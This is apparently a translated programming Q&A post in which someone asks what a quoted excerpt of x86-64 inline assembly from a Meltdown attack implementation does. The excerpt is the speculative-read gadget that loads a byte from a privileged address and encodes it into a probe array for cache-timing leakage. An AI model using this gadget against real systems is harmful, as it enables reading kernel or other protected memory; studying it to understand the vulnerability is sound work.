assembly - X86 中的 Melt-Down 攻击实现

Question

下面的代码是崩溃攻击的一部分，我无法理解它在做什么，谁能解释一下下面的代码在做什么。

static void __attribute__((noinline))
speculate(unsigned long addr)
{
#ifdef __x86_64__
asm volatile (
    "1:\n\t"

    ".rept 300\n\t"
    "add $0x141, %%rax\n\t"
    ".endr\n\t"

    "movzx (%[addr]), %%eax\n\t"
    "shl $12, %%rax\n\t"
    "jz 1b\n\t"
    "movzx (%[target], %%rax, 1), %%rbx\n"

    "stopspeculate: \n\t"
    "nop\n\t"
    :
    : [target] "r" (target_array),
      [addr] "r" (addr)
    : "rax", "rbx"
);